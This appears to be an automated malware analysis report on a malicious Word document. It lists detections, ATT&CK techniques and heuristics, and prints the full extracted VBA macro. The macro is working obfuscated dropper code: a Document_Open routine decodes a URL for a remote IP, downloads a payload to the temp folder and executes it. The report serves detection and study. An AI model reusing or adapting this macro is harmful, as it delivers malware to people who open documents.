MALICIOUS
258
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
The sample contains VBA macros, including a Document_Open macro, that are designed to download and execute a second-stage payload. The document body explicitly instructs the user to enable content, which is a common social engineering tactic. The critical heuristic OLE_VBA_HTTP_DROP_EXEC confirms the macro's intent to download and save a file, likely the payload.
Heuristics 9
-
ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§ = »©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set »©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º = CreateObject("microsoft.xmlhttp") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º¼¥¡´© = Environ("tmp") + ¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«("\ZFQHVâTWG.ÂÛÂ") -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9273 bytes |
SHA-256: a28fed00dea4bea9ff5d31bd73665935f757d84b311752578799357108d4b223 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function ¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«(£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®)
¢¢¸º¼·©¡¥¯¶¸«¶¸¯¾µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´ = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
For i = 1 To Len(£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®)
½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º¼¥¡´©¢¢¸º¼·©¡¥¯¶¸«¶¸¯¾ = InStr(¢¢¸º¼·©¡¥¯¶¸«¶¸¯¾µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹, Mid(£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®, i, 1))
If ½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º¼¥¡´©¢¢¸º¼·©¡¥¯¶¸«¶¸¯¾ > 0 Then
µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯ = Mid(ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´, ½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º¼¥¡´©¢¢¸º¼·©¡¥¯¶¸«¶¸¯¾, 1)
¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯ = ¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯ + µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯
Else
¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯ = ¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯ + Mid(£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®, i, 1)
End If
Next
¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦« = ¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯
End Function
Private Sub Document_Open()
Dim »©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º
Set »©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º = CreateObject("microsoft.xmlhttp")
Dim ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º¼¥¡´©
Dim ¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯
Set ¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯ = CreateObject("Shell.Application")
ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º¼¥¡´© = Environ("tmp") + ¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«("\ZFQHVâTWG.ÂÛÂ")
»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º.Open "GET", ¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«("hÖÖÓ://²00.6³.45.105/ÙÓdÀÖÂ/FGV§.ÂÛÂ"), False
»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º.send
ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§ = »©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º.responseBody
If »©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º.Status = 200 Then
Set º¼·©¡¥¯¶¸«¶¸¯¾µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª = CreateObject("adodb.stream")
º¼·©¡¥¯¶¸«¶¸¯¾µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª.Open
º¼·©¡¥¯¶¸«¶¸¯¾µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª.Type = 1
º¼·©¡¥¯¶¸«¶¸¯¾µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª.Write ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§
º¼·©¡¥¯¶¸«¶¸¯¾µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª.SaveToFile ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º¼¥¡´©, 2
º¼·©¡¥¯¶¸«¶¸¯¾µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª.Close
End If
¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯.Open (ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º¼¥¡´©)
End Sub
Attribute VB_Name = "NewMacros"
Sub hihgrt()
'
' hihgrt Macro
'
'
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.